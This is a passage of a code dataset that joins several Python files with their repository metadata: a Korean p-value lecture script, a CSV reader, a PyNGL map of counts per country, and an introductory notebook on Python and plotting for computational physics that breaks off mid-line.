\ub17c\ub9ac\ub294  \ub2e4\uc74c\uacfc  \uac19\uc2b5\ub2c8\ub2e4.\r\n\uf0fc   \ub9cc\uc57d  \uac00\uc124\uc774  \ub9de\ub2e4\uba74  \uc989, \ubaa8\uc218  \uac12\uc774  \ud2b9\uc815\ud55c  \uc870\uac74\uc744  \ub9cc\uc871\ud55c\ub2e4\uba74  \ud574\ub2f9  \ud655\ub960  \ubcc0\uc218\ub85c\ubd80\ud130  \ub9cc \ub4e4\uc5b4\uc9c4  \ud45c\ubcf8(sample) \ub370\uc774\ud130\ub4e4\uc740  \uc5b4\ub5a4  \uaddc\uce59\uc744  \ub530\ub974\uac8c  \ub41c\ub2e4.\r\n    \ud574\ub2f9 \uaddc\uce59\uc5d0 \ub530\ub77c \ud45c\ubcf8 \ub370\uc774\ud130 \uc9d1\ud569\uc5d0\uc11c \uc5b4\ub5a4 \uc22b\uc790\ub97c \uacc4\uc0b0\ud558\uba74 \uacc4\uc0b0\ub41c \uc22b\uc790\ub294 \ud2b9\uc815\ud55c \ud655\ub960 \ubd84\ud3ec\ub97c \ub530\ub974\uac8c \ub41c\ub2e4. \uc774 \uc22b\uc790\ub97c \uac80\uc815 \ud1b5\uacc4\uce58(test statistics)\ub77c\uace0 \ud558\uba70 \ud655\ub960 \ubd84\ud3ec\ub97c \uac80\uc815 \ud1b5\uacc4 \ubd84\ud3ec(test statistics distribution)\ub77c\uace0 \ud55c\ub2e4. \uac80\uc815 \ud1b5\uacc4 \ubd84\ud3ec\uc758 \uc885\ub958 \ubc0f \ubaa8\uc218\uc758 \uac12\uc740 \ucc98\uc74c\uc5d0 \uc815\ud55c \uac00\uc124\uc5d0 \uc758\ud574 \uacb0\uc815\ub41c\ub2e4. \uc774\ub807\uac8c \uac80\uc815 \ud1b5\uacc4 \ubd84\ud3ec\ub97c \uacb0\uc815\ud558\ub294 \ucd5c\ucd08\uc758 \uac00 \uc124\uc744 \uadc0\ubb34 \uac00\uc124(Null hypothesis)\uc774\ub77c\uace0 \ud55c\ub2e4.\r\n\uf0fc   \ub370\uc774\ud130\uc5d0  \uc758\ud574\uc11c  \uc2e4\uc81c\ub85c  \uacc4\uc0b0\ub41c  \uc22b\uc790, \uc989, \uac80\uc815  \ud1b5\uacc4\uce58\uac00  \ud574\ub2f9  \uac80\uc815  \ud1b5\uacc4  \ubd84\ud3ec\uc5d0\uc11c  \ub098\uc62c \uc218  \uc788\ub294  \ud655\ub960\uc744  \uacc4\uc0b0\ud55c\ub2e4. \uc774\ub97c  \uc720\uc758  \ud655\ub960(p-value)\ub77c\uace0  \ud55c\ub2e4.\r\n\uf0fc   \ub9cc\uc57d  \uc720\uc758  \ud655\ub960\uc774  \ubbf8\ub9ac  \uc815\ud55c  \ud2b9\uc815\ud55c  \uae30\uc900  \uac12\ubcf4\ub2e4  \uc791\uc740  \uacbd\uc6b0\ub97c  \uc0dd\uac01\ud558\uc790. \uc774  \uae30\uc900  \uac12\uc744 \uc720\uc758  \uc218\uc900(significance level)\uc774\ub77c\uace0  \ud558\ub294  \ub370  \ubcf4\ud1b5  1% \ud639\uc740  5% \uc815\ub3c4\uc758  \uc791\uc740  \uac12\uc744  \uc9c0\uc815\ud55c \ub2e4. \uc720\uc758  \ud655\ub960\uc774  \uc720\uc758  \uc218\uc900\uc73c\ub85c  \uc815\ud55c  \uac12(\uc608  1%)\ubcf4\ub2e4\ub3c4  \uc791\ub2e4\ub294  \ub9d0\uc740  \ud574\ub2f9  \uac80\uc815  \ud1b5\uacc4  \ubd84\ud3ec \uc5d0\uc11c  \uc774  \uac80\uc815  \ud1b5\uacc4\uce58\uac00  \ub098\uc62c  \uc218  \uc788\ub294  \ud655\ub960\uc774  \uc544\uc8fc  \uc791\ub2e4\ub294  \uc758\ubbf8\uc774\ubbc0\ub85c  \uac00\uc7a5  \uadfc\ubcf8\uc774  \ub418\ub294 \uac00\uc124  \uc989, \uadc0\ubb34  \uac00\uc124\uc774  \ud2c0\ub838\ub2e4\ub294  \uc758\ubbf8\uc774\ub2e4. \ub530\ub77c\uc11c  \uc774  \uacbd\uc6b0\uc5d0\ub294  \uadc0\ubb34  \uac00\uc124\uc744  \uae30\uac01(reject) \ud55c\ub2e4.\r\n\uf0fc   \ub9cc\uc57d \uc720\uc758 \ud655\ub960\uc774 \uc720\uc758 \uc218\uc900\ubcf4\ub2e4 \ud06c\ub2e4\uba74 \ud574\ub2f9 \uac80\uc815 \ud1b5\uacc4 \ubd84\ud3ec\uc5d0\uc11c \uc774 \uac80\uc815 \ud1b5\uacc4\uce58\uac00 \ub098 \uc624\ub294 \uac83\uc774 \ubd88\uac00\ub2a5\ud558\uc9c0\ub9cc\uc740 \uc54a\ub2e4\ub294 \uc758\ubbf8\uc774\ubbc0\ub85c \uadc0\ubb34 \uac00\uc124\uc744 \uae30\uac01\ud560 \uc218 \uc5c6\ub2e4. \ub530\ub77c\uc11c \uc774 \uacbd\uc6b0\uc5d0\ub294 \uadc0\ubb34 \uac00\uc124\uc744 \ucc44\ud0dd(accept)\ud55c\ub2e4.\r\n    \r\n    linspace \ud568\uc218\ub294 numpy\ubaa8\ub4c8\uc758 1\ucc28\uc6d0 \ubc30\uc5f4 \ub9cc\ub4dc\ub294 \ud568\uc218\r\n    x = np.linspace(start,stop,num) # num\uc740 \uc694\uc18c\uc758 \uac1c\uc218 \uadf8 \uc0ac\uc774\uc5d0 \uba87\uac1c\ub97c \ub9cc\ub4e4\uac83\uc778\uac00.\r\n    np.random.randit : \uade0\uc77c \ubd84\ud3ec\uc758 \uc815\uc218 \ub09c\uc218 1\uac1c \uc0dd\uc11c\r\n    np.random.rand : 0\ubd80\ud130 1\uc0ac\uc774\uc758 \ub09c\uc218 matrix array \uc0dd\uc131\r\n    np.random.randn : \uac00\uc6b0\uc2dc\uc548 \ud45c\uc900 \uc815\uaddc \ubd84\ud3ec\uc5d0\uc11c \ub09c\uc218 matrix array \uc0dd\uc131\r\n    plt.fill_between() : \ub450 \uc218\ud3c9 \ubc29\ud5a5\uc758 \uace1\uc120 \uc0ac\uc774\ub97c \ucc44\uc6c1\ub2c8\ub2e4.\r\n    plt.fill_betweenx() : \ub450 \uc218\ud3c9 \ubc29\ud5a5\uc758 \uace1\uc120 \uc0ac\uc774\ub97c \ucc44\uc6c1\ub2c8\ub2e4.\r\n    plt.fill() : \ub2e4\uac01\ud615 \uc601\uc5ed\uc744 \ucc44\uc6c1\ub2c8\ub2e4.\r\n    \r\n    \r\n    \ud30c\uc774\uc36c \ud50c\ub78f \uc0c1\uc138 \uc124\uba85 : https://blog.naver.com/nach3012/222419686483\r\n    \r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib import font_manager, rc \r\nfrom scipy import stats\r\nimport scipy as sp\r\n\r\nfont_name = font_manager.FontProperties(fname=\"c:/Windows/Fonts/malgun.ttf\").get_name() \r\nrc('font', family=font_name)\r\n\r\nxx1 = np.linspace(-4, 4, 100) \r\nxx2 = np.linspace(-4, -2, 100) \r\nxx3 = np.linspace(2, 4, 100)\r\n\r\nplt.fill_between(xx1, sp.stats.norm.pdf(xx1), facecolor='green', alpha=0.1)\r\nplt.fill_between(xx2, sp.stats.norm.pdf(xx2), facecolor='blue', alpha=0.35)\r\nplt.fill_between(xx3, sp.stats.norm.pdf(xx3), facecolor='blue', alpha=0.35)\r\nplt.text(-3, 0.1, \"p-value=%5.3f\" % (2*sp.stats.norm.cdf(-2)), horizontalalignment='center')\r\nplt.title(\"\uc720\uc758\ud655\ub960:0.046\") \r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n", "meta": {"hexsha": "a1d71f23fcce75e8776076eaa8c1e4d4dbc5c4e2", "size": 13360, "ext": "py", "lang": "Python", "max_stars_repo_path": "basic.py", "max_stars_repo_name": "LYH-93/LYH-93.github.io", "max_stars_repo_head_hexsha": "bc40cb18c94b6781e6df37a8c6b67625ae8ae3df", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "basic.py", "max_issues_repo_name": "LYH-93/LYH-93.github.io", "max_issues_repo_head_hexsha": "bc40cb18c94b6781e6df37a8c6b67625ae8ae3df", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "basic.py", "max_forks_repo_name": "LYH-93/LYH-93.github.io", "max_forks_repo_head_hexsha": "bc40cb18c94b6781e6df37a8c6b67625ae8ae3df", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 23.4797891037, "max_line_length": 323, "alphanum_fraction": 0.5420658683, "include": true, "reason": "import numpy,import scipy,from scipy", "num_tokens": 6063, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44939263446475963, "lm_q2_score": 0.17106119801750538, "lm_q1q2_score": 0.07687364243178466}}
{"text": "%matplotlib inline\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n", "meta": {"hexsha": "67b4547e21efd95133ac22ece176474740b5b18a", "size": 71, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks/solutions/preamble.py", "max_stars_repo_name": "bgt-pat/ufib_workshop", "max_stars_repo_head_hexsha": "8d416ff969938bd1b2fc6b65d9678d569e47c331", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "notebooks/solutions/preamble.py", "max_issues_repo_name": "bgt-pat/ufib_workshop", "max_issues_repo_head_hexsha": "8d416ff969938bd1b2fc6b65d9678d569e47c331", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "notebooks/solutions/preamble.py", "max_forks_repo_name": "bgt-pat/ufib_workshop", "max_forks_repo_head_hexsha": "8d416ff969938bd1b2fc6b65d9678d569e47c331", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 14.2, "max_line_length": 31, "alphanum_fraction": 0.8169014085, "include": true, "reason": "import numpy", "num_tokens": 15, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4921881357207956, "lm_q2_score": 0.1561048974454574, "lm_q1q2_score": 0.07683297845056568}}
{"text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Jan 22 21:08:13 2020\r\n\r\n@author: ZHOU_YuZHAO\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport csv\r\n\r\nclass Read():\r\n    def readFromFile(self,filename):\r\n        data = []\r\n        with open(filename, \"r\") as csvfile:\r\n            # The data is returned with each row of data as a list\r\n            reader = csv.reader(csvfile)\r\n            for row in reader:\r\n            # Output the row list\r\n                line = []\r\n                for x in row:\r\n                    line.append(int(x))\r\n                data.append(line)\r\n        \r\n        return np.array(data)", "meta": {"hexsha": "2b877377df7574cfe72abdf2a979195ab2f32c4f", "size": 600, "ext": "py", "lang": "Python", "max_stars_repo_path": "read.py", "max_stars_repo_name": "woaizhouzai/Assessment2", "max_stars_repo_head_hexsha": "635508ddbfdabf7f8c2aef985e92212001725499", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "read.py", "max_issues_repo_name": "woaizhouzai/Assessment2", "max_issues_repo_head_hexsha": "635508ddbfdabf7f8c2aef985e92212001725499", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "read.py", "max_forks_repo_name": "woaizhouzai/Assessment2", "max_forks_repo_head_hexsha": "635508ddbfdabf7f8c2aef985e92212001725499", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 25.0, "max_line_length": 67, "alphanum_fraction": 0.4916666667, "include": true, "reason": "import numpy", "num_tokens": 134, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4921881357207955, "lm_q2_score": 0.15610488959337063, "lm_q1q2_score": 0.0768329745858617}}
{"text": "#\n#  File:\n#    PyEarthScience_read_ASCII_and_plot_counts_per_country.py\n#\n#  Synopsis:\n#    Read ASCII data and draw countries of global map with colors depending on their values.\n#\n#  Category:\n#    map plot\n#    labelbar\n#    read ASCII file\n#    text\n#\n#  Based on DKRZ's NCL example:\n#    NCL_read_ASCII_and_plot_counts_per_country.ncl\n#\n#  Author:\n#    Karin Meier-Fleischer\n#  \n#  Date of initial publication:\n#    December, 2018\n#\n#  Description:\n#    Read ASCII data and draw countries of global map with colors depending on their values.\n#    Add a labelbar to the plot.\n#\n#  Input file:\n#    country_gesamt.txt\n#\n#  Effects illustrated:\n#    o  Create a global map\n#    o  Using area specifiers\n#    o  Define color map\n#    o  Read ASCII file\n#    o  Create a labelbar\n#    o  Add text\n#\n#  Output:\n#     Two visualizations are produced.     \n#\n'''\n  PyNGL Example: \tPyEarthScience_read_ASCII_and_plot_counts_per_country.py\n\n  -  Create a global map\n  -  Using area specifiers\n  -  Define color map\n  -  Read ASCII file\n  -  Create a labelbar\n  -  Add text\n  \n'''\nfrom __future__ import print_function\nfrom io import StringIO\nimport numpy as np\nimport Ngl,Nio\n\n#-----------------------------------------------------------------------------------\n#-- read ASCII input file  (country; value)\n#-----------------------------------------------------------------------------------\nfin     = open('country_gesamt.txt', newline='')\ninput   = fin.read()\nrows    = input.strip('\\n')\n\ns       = StringIO(rows)        #-- in-memory stream for text\ndata    = np.genfromtxt(s, dtype=['U30','i8'], names=['country','value'], delimiter=';')\n                                #-- genfromtxt 'U' must be used for strings in Python3\nstates  = list(data['country']) #-- in contrast to NCL it must be a list\nvalues  = data['value'][:]      #-- data array\n\n#-----------------------------------------------------------------------------------\n#-- define levels and labels\n#-----------------------------------------------------------------------------------\nlevels = [1,2,5,10,50,100,200,500,1000,2000]                             #-- value levels\nlabels = [\"1\",\"2\",\">5\",\">10\",\">50\",\">100\",\">200\",\">500\",\">1000\",\">2000\"] #-- labelbar labels\n\n#-----------------------------------------------------------------------------------\n#-- define color map (index 0/1: foreground/background)\n#-----------------------------------------------------------------------------------\ncmap = np.array([[1.0,      1.0,      1.0], \\\n                 [0.0,      0.0,      0.0], \\\n                 [0.997785, 0.999139, 0.846059], \\\n                 [0.910127, 0.964937, 0.695640], \\\n                 [0.769320, 0.909419, 0.706959], \\\n                 [0.521292, 0.812964, 0.731073], \\\n                 [0.304483, 0.732118, 0.761430], \\\n                 [0.141961, 0.597647, 0.756078], \\\n                 [0.122107, 0.483137, 0.712711], \\\n                 [0.131949, 0.382745, 0.665467], \\\n                 [0.138408, 0.297578, 0.624990], \\\n                 [0.031373, 0.113725, 0.345098]],'f')\n                    \ncolors  = np.arange(2,len(cmap)+1,1)                #-- array for color indices\nnlevels = len(levels)                               #-- number of levels\nicols   = np.ones(len(values),int)                  #-- assign array for color indices\n\n#-- set the color indices array\nfor i in range(0,len(values)):\n   if(values[i] == levels[0]):\n      icols[i] = 0\n\n   if(values[i] > levels[nlevels-1]):\n      icols[i] = len(colors)\n\n   for j in range(0,nlevels-1):\n      if(values[i] > levels[j] and values[i] <= levels[j+1]):\n         icols[i] = colors[j]\n\n   print(\"State: %2.2i   IPs:  %4.2i  %s\" % (i,values[i],data['country'][i]))\n\n#-----------------------------------------------------------------------------------\n#-- open a workstation and set workstation resources\n#-----------------------------------------------------------------------------------\nwkres                 = Ngl.Resources()\nwkres.wkWidth         = 1024                        #-- wk width\nwkres.wkHeight        = 1024                        #-- wk height\nwks = Ngl.open_wks(\"png\",\"plot_counts_per_country_map_blue\",wkres)\n\n#-- set new color map (overwrite default colormap)\nrlist            = Ngl.Resources()\nrlist.wkColorMap = cmap\nNgl.set_values(wks,rlist)\n\n#-----------------------------------------------------------------------------------\n#-- set resources\n#-----------------------------------------------------------------------------------\nres                       =  Ngl.Resources()  \nres.nglMaximize           =  True                   #-- maximize plot\nres.nglFrame              =  False                  #-- don't advance the frame yet\n \nres.vpXF                  =  0.01                   #-- x-position\nres.vpYF                  =  0.95                   #-- y-position\nres.vpWidthF              =  0.98                   #-- width\nres.vpHeightF             =  0.95                   #-- height\n \nres.pmTickMarkDisplayMode = \"Always\"                #-- turn on map tickmarks\n \nres.mpDataSetName         = \"Earth..4\"              #-- new database\nres.mpDataBaseVersion     = \"MediumRes\"             #-- Medium resolution database\nres.mpOutlineOn           =  True                   #-- turn on map outlines\nres.mpFillOn              =  True                   #-- turn on map fill\nres.mpOutlineBoundarySets = \"National\"              #-- draw only national bounds\nres.mpOceanFillColor      = \"white\"                 #-- set ocean fill color to white\nres.mpLandFillColor       = \"white\"                 #-- set land fill color to white\nres.mpInlandWaterFillColor= \"white\"                 #-- set inland water fill color to white\nres.mpFillAreaSpecifiers  =  states                 #-- fill listed states\nres.mpSpecifiedFillColors =  icols                  #-- use generated color array\nres.mpMinLatF             = -60                     #-- don't plot Antarctica\n \nres.tmXBLabelFontHeightF  =  0.012                  #-- change XB label font size\nres.tmYLLabelFontHeightF  =  0.012                  #-- change YL label font size\nres.tmXBMajorLengthF      =  0.008                  #-- change XB the tickmark length\nres.tmYLMajorLengthF      =  0.008                  #-- change YL the tickmark length\n \nres.tiMainString          = \"Counts per country\"    #-- title string\nres.tiMainFont            = \"helvetica\"             #-- title string font\nres.tiMainFontHeightF     =  0.025                  #-- set title string font size\n\n#-- create the map\nmap = Ngl.map(wks,res)\n\n#-----------------------------------------------------------------------------------\n#-- add custom label bar to the plot\n#-----------------------------------------------------------------------------------\nvpx  = Ngl.get_float(map,\"vpXF\")                    #-- retrieve viewport x-position\nvpy  = Ngl.get_float(map,\"vpYF\")                    #-- retrieve viewport y-position\nvpw  = Ngl.get_float(map,\"vpWidthF\")                #-- retrieve viewport width\nvph  = Ngl.get_float(map,\"vpHeightF\")               #-- retrieve viewport height\n\nlbx, lby = vpx, vpy-vph-0.04\n\nlbres                    =  Ngl.Resources()\nlbres.vpWidthF           =  vpw                     #-- width of labelbar\nlbres.vpHeightF          =  0.08                    #-- height of labelbar\nlbres.lbOrientation      = \"horizontal\"             #-- labelbar orientation\nlbres.lbLabelFontHeightF =  0.012                   #-- labelbar label font size\nlbres.lbAutoManage       =  False                   #-- we control label bar\nlbres.lbFillColors       =  colors                  #-- box fill colors  \nlbres.lbPerimOn          =  False                   #-- turn off labelbar perimeter\nlbres.lbMonoFillPattern  =  True                    #-- turn on solid pattern\nlbres.lbLabelAlignment   = \"BoxCenters\"             #-- write labels below box edges\n\n#-- create the labelbar\npid = Ngl.labelbar_ndc(wks, nlevels, labels, lbx, lby, lbres)\n\n#-----------------------------------------------------------------------------------\n#-- add x-axis title and copyright string\n#-----------------------------------------------------------------------------------\ntxres               =  Ngl.Resources()\ntxres.txJust        = \"CenterCenter\"\ntxres.txFontHeightF =  0.014\n\nNgl.text_ndc(wks,\"ESGF users\",0.5,0.14,txres)\n\ntxres.txJust        = \"CenterRight\"\ntxres.txFontHeightF =  0.010\nNgl.text_ndc(wks,\"~F35~c ~F21~~N~DKRZ\",vpx+vpw,0.10,txres)\n\n#-----------------------------------------------------------------------------------\n#-- advance the frame\n#-----------------------------------------------------------------------------------\nNgl.frame(wks)\n\n", "meta": {"hexsha": "5ac341f065ae763713f75d08befd9d0d3811a9f2", "size": 8635, "ext": "py", "lang": "Python", "max_stars_repo_path": "Visualization/PyNGL/read_ASCII_and_plot_counts_per_country.py", "max_stars_repo_name": "1271756664/-xESMF", "max_stars_repo_head_hexsha": "f2341fe5a949050dc9e350fdc8c7d3e3d3d48222", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 54, "max_stars_repo_stars_event_min_datetime": "2015-11-09T13:39:00.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-16T10:31:19.000Z", "max_issues_repo_path": "Visualization/PyNGL/read_ASCII_and_plot_counts_per_country.py", "max_issues_repo_name": "wengensheng/PyEarthScience", "max_issues_repo_head_hexsha": "0c5b116a80604c5a892369b975df8b15b9b34717", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Visualization/PyNGL/read_ASCII_and_plot_counts_per_country.py", "max_forks_repo_name": "wengensheng/PyEarthScience", "max_forks_repo_head_hexsha": "0c5b116a80604c5a892369b975df8b15b9b34717", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 25, "max_forks_repo_forks_event_min_datetime": "2016-04-11T20:40:40.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-01T14:38:41.000Z", "avg_line_length": 42.5369458128, "max_line_length": 92, "alphanum_fraction": 0.4685581934, "include": true, "reason": "import numpy", "num_tokens": 2107, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47268347662043286, "lm_q2_score": 0.1623800447737033, "lm_q1q2_score": 0.07675436409741562}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Useful Introduction to Python, GitHub, and LaTex\n# Questions that you may be asking:\n# - What is Python?\n# - Why should I use it?\n# - Is it venemous?\n# - Why am I talking to myself?\n# \n# In this chapter, you are going to learn the answers to some of these questions and develop some basic skills.  These skills will be useful in later chapters and will form a springboard so that you can dive into the ocean that is Computational Physics.  The first thing that you may need is motivation, which lies in the history of scientific computing.\n# \n# ## A History\n# \n# A **computer** is a machine that can carryout sequences of arithmetic or logical operations.  It requires instructions in a specific order (i.e., syntax), and space to hold intermediate/final results (i.e., memory).  Prior to the 20th Century, a computer was a mechanical device that allowed users to perform arithmetic calculations quickly.  An abacus is one such device:\n# \n# | ![abacus](https://upload.wikimedia.org/wikipedia/commons/a/af/Abacus_6.png) |\n# |:--:| \n# |The Chinese suanpan. The number represented on this abacus is 6,302,715,408. (wikipedia:abacus)|\n# \n# The principle of the modern computer was proposed by **Alan Turing** (1936) in his paper <em>On Computable Numbers</em>. Turing proposed a \"Universal Computing machine\" that is capable of computing anything that is computable by executing instructions (program) stored on tape, allowing the machine to be programmable. The fundamental concept of Turing's design is the stored program, where all the instructions for computing are stored in memory. **Von Neumann** acknowledged that the central concept of the modern computer was due to this paper.\n# \n# **Colossus** was the world's first electronic digital programmable computer, where it used a large number of valves (vacuum tubes). It had paper-tape input and was capable of being configured to perform a variety of boolean logical operations on its data.  The **ENIAC** (Electronic Numerical Integrator and Computer) was the first electronic programmable computer built in the United States. Like the Colossus, a \"program\" on the ENIAC was defined by the states of its patch cables and switches. Once a program was written, it had to be mechanically set into the machine with the manual resetting of plugs and switches. \n# \n# | ![ENIAC](https://upload.wikimedia.org/wikipedia/commons/thumb/4/4e/Eniac.jpg/1280px-Eniac.jpg)\n# |:--:| \n# |ENIAC was the first electronic device in the U.S. and performed ballistics trajectory calculations for the United States Army. (wikipedia:computer)|\n# \n# Along with military applications, computers became the catalyst for many scientific and engineering breakthroughs.  In the 1950s, IBM developed the programming language **FORTRAN** (Formula Translation) as a general-purpose, compiled imperative programming language that is especially suited to numeric computation and scientific computing.  Many scientific programs were developed in FORTRAN and are still in use today in computationally intensive areas such as numerical weather prediction, finite element analysis, computational fluid dynamics, geophysics, **computational physics**, crystallography and computational chemistry.\n# \n# Before the development of disk files, text editors and terminals, programs were most often entered on a keypunch keyboard onto 80-column punched cards, one line to a card. The resulting deck of cards would be fed into a card reader to be compiled. Punched card codes included no lower-case letters or many special characters, and special versions of the IBM 026 keypunch were offered that would correctly print the re-purposed special characters used in FORTRAN.  Reflecting punched card input practice, FORTRAN programs were originally written in a fixed-column format, with the first 72 columns read into twelve 36-bit words.\n# \n# | ![Punchcard](https://upload.wikimedia.org/wikipedia/commons/5/58/FortranCardPROJ039.agr.jpg)\n# |:--:| \n# |FORTRAN code on a punched card, showing the specialized uses of columns 1\u20135, 6 and 73\u201380. (wikipedia:fortran)|\n# \n\n# ## Why Python?\n# \n# Fast-forwarding from punchcards to the modern era, other computer languages (C, C++, Java) were developed to improve upon FORTRAN in terms of their usage (i.e., easier to code) and compilation speed.  FORTRAN has also changed over many versions that migrated it from punchcards to completely digital files.  The programming language C rivals FORTRAN for speed and has become the backbone of modern computing.  Back to Python.  What is it?\n# \n# Python is a scripting language, which means it takes commands in a more human-like language and translates those commands into machine code (zeros and ones).  The Python interpreter does this one line at a time, but its translation into machine code is less efficient than C or FORTRAN.  For applications where speed is key, Python is used as an interface while portions of the code are passed into the speedier languages.  Alternatively, one can develop their Python code using C extensions for Python (or Cython).\n# \n# Scientists are quickly adopting Python within a range of fields because it is open-source (i.e., free) and much easier for students to learn.  Especially if you have any prior experience in programming, where Python strips away many of the quirks from legacy languages.  <em>Due to the simplified structure of Python programs, you can easily begin programming and get to your results. </em>\n# \n\n# ##  Python Basics\n# \n# ### Create a Jupyter Notebook\n# \n# **To create a Jupyter notebook in Microsoft VS Code**: open the command palette (Windows: Ctrl + Shift + P, iOS: Command + Shift + P) and select the command \"Jupyter: Create New Blank Notebook\".\n# \n# Python programs include 3 elements: 1) import statements/libraries, 2) custom functions, and 3) regular statements.  Although this document has flowing text, most Python programs are written to be as short as possible.  For these examples, we are using an interactive Python mode, where code blocks are designated with \n# > In [ ]:\n# \n# for input. These codeblocks can be run and re-run with tweaks, but you need to watch out for dependencies (i.e., assumptions that some other code exists in memory).  Let's start by importing a commonly used modules **numpy** and **matplotlib**\n\n# In[1]:\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n# These import statements will allow us to use functions with the respective modules.  The numpy module was developed to make managing data structures easier, while the matplotlib library introduces functions from the <em>Matlab Plotting Library </em> so that we can visualize our results.  To produce a graph, let's first generate some data:\n\n# In[2]:\n\n\nx = np.arange(1,5,0.5)\ny = 3*x + 2\n\n\n# The first line uses the 'arange' function from numpy, where we use 'np' as a shortcut label.  The 'arange' function takes in up to 3 values as input: starting value, stopping value, and step size to generate a numpy array with an interated sequence:\n# \n# >x = np.array([1. , 1.5, 2. , 2.5, 3. , 3.5, 4. , 4.5])\n# \n# Note that the generated values are floats (i.e., real numbers) and the final value of the array is 4.5 and **not** 5.0.  Python generators typically exclude the end point.  If we wanted to use integers (i.e., whole numbers) instead, then we could have used the 'range' function from pure Python without refferring to the numpy module and excluded the step size as input (e.g., range(0,5)).\n# \n# The second line generates another numpy array using the values stored in 'x'.  More precisely, it makes a temporary copy of 'x', where it performs a multiplication by 3 and addition of 2 to each element of the copied array.  Finally, the temporary copied array is stored as a variable called 'y'.\n# \n# >y = np.array([ 5. ,  6.5,  8. ,  9.5, 11. , 12.5, 14. , 15.5])\n\n# Now, we are going to make a plot of the data that we generated.  To create a canvas in matplotlib, we start with the figure function and store it in a container called 'fig'.  The suptitle function uses a string (i.e., array of characters) as input and sets the keyword argument fontsize equal to 16 pt font.  We also introduce a container 'ax' that holds the axes for the canvas through the add_subplot function that takes a three digit number (row column index) as input.\n\n# In[3]:\n\n\nfig = plt.figure()\nfig.suptitle('My first graph', fontsize=16)\nax = fig.add_subplot(111)\nax.plot(x,y,'k.',ms=18)\n\n\n# To plot our generated data, we simply used the plot function on the axes (the Axes class inherits the plot function from the matplotlib module).  The plot function used the x and y arrays to generate the points, but we also had to tell it that we wanted black points ('k.') with a markersize (ms) equal to 18 pts.\n# \n# However, we may want to make a lot of plots and do not want to copy/paste a bunch of times.  To reuse our commands, we define a custom function 'create_plot' that takes the parameters we may want to vary as input.\n\n# In[4]:\n\n\ndef create_plot(x,y,color,marker,ms):\n    fig = plt.figure()\n    fig.suptitle('My first graph', fontsize=16)\n    ax = fig.add_subplot(111)\n    ax.plot(x,y,marker=marker,color=color,ms=18,lw=0)\n\n\n# Notice that Python uses a tab to delineate what should be included in the function.  Now let's change the color to blue ('b'), the marker to squares ('s') and the markersize to 12 points.\n\n# In[5]:\n\n\ncreate_plot(x,y,'b','s',12)\n\n\n# We can even change the x,y values to something more complicated.\n\n# In[6]:\n\n\nx = np.arange(0,2*np.pi,0.5)\ny = 3*np.sin(x+1)-2\ncreate_plot(x,y,'r','^',1)\n\n\n# There are many options within matplotlib, where you will find some more useful than others over time.  If in doubt, you can always check the **matplotlib gallery** (https://matplotlib.org/stable/gallery/index.html) or stackexchange (https://stackexchange.com/).  It is likely that someone has already run into your problem/customization and other people have provided a 'possible' solution (<em>not all solutions are good!</em>).  The last bit of customization for this section is to:\n# \n# 1. add axis labels\n#     - ax.set_xlabel(*string,fontsize=22) or ax.set_ylabel(*string,fontsize=22)\n# 2. modify tick marks \n#     - ax.tick_params(axis='both', direction='out',length = 12.0, width = 8.0)\n# 3. modify tick labels\n#     - using ```$``` opens the latex interpreter for custom symbols (e.g., ```$\\pi$``` = $\\pi$)\n#     - ax.set_xticklabels(['0','$\\pi$/2','$\\pi$','$3\\pi/2$','2$\\pi$'])\n# 4. set sensible axis limits\n#     - ax.set_xlim(0,2*np.pi)\n# 5. add a legend\n#     - add the keyword 'label' to the plot command and set equal to a string\n#     - ax.legend(loc='upper right',fonstize=20)\n\n# In[7]:\n\n\nfig = plt.figure()\nfig.suptitle('My first 